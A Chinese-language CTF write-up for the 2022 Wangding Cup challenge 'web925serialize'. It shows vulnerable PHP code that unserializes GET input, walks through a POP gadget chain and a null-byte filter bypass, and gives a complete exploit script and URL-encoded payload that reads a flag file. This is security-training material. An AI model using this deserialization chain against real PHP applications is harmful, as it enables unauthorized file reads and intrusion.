目录
[2022网鼎杯]web925serialize
源码
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}
pop链分析
首先这个链子从正向分析不是很复杂,首先根据题目提示,进入One类。
然后去寻找tostring方法,找到了abaaba类。
abaaba类中$DoNotGet
可控,类中的$this->Giveme
变量明显会调用get方法。
然后将get调用下面的set方法。set方法直接调用Onemore类中的readfile方法。
现在的关键就是怎么用Onemore类调用readfile方法
$this->Giveme = ($this->action)();
这个地方可以利用php数组的特性,
将$this->action
的值直接赋值为:[new Onemore, reafile]
这样是支持直接等于$a=new Onemore();$a->readfile()
最后safe函数的绕过:
由于strip_tags会处理00字节的特性,利用\x00绕过过滤preg_replace的检验
EXP
<?php
class abaaba{
protected $DoNotGet;
public function __construct()
{
$this->DoNotGet=new suhasuha();
}
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __construct()
{
$a = new Onemore();
$a->file = "flag";
$this->action = [$a, 'readfile'];
}
public function __set($name, $value){
$this->Giveme = ($this->action)("/../\x00../\x00../\x00../flag");
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = new abaaba();
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
#$k=urldecode("O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A4%3A%22flag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3Bs%3A3%3A%22one%22%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D");
#unserialize($k);
$one=new One();
$ser=serialize($one);
print($ser."\n");
print(urlencode($ser));
Comments | NOTHING